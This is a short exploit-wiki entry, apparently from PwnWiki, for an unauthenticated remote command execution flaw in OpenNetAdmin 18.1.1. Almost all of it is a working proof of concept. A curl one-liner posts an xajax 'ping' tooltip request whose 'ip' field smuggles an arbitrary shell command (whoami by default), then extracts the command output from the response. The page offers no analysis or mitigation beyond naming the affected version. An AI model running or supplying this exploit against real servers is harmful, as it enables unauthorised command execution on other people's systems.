OpenNetAdmin 18.1.1 遠程命令執行

From PwnWiki

影響版本:

OpenNetAdmin 18.1.1


POC:

cmd=whoami;URL=http://1.1.1.1/www/;curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

Exploit Analysis - OpenNetAdmin 18.1.1 RCE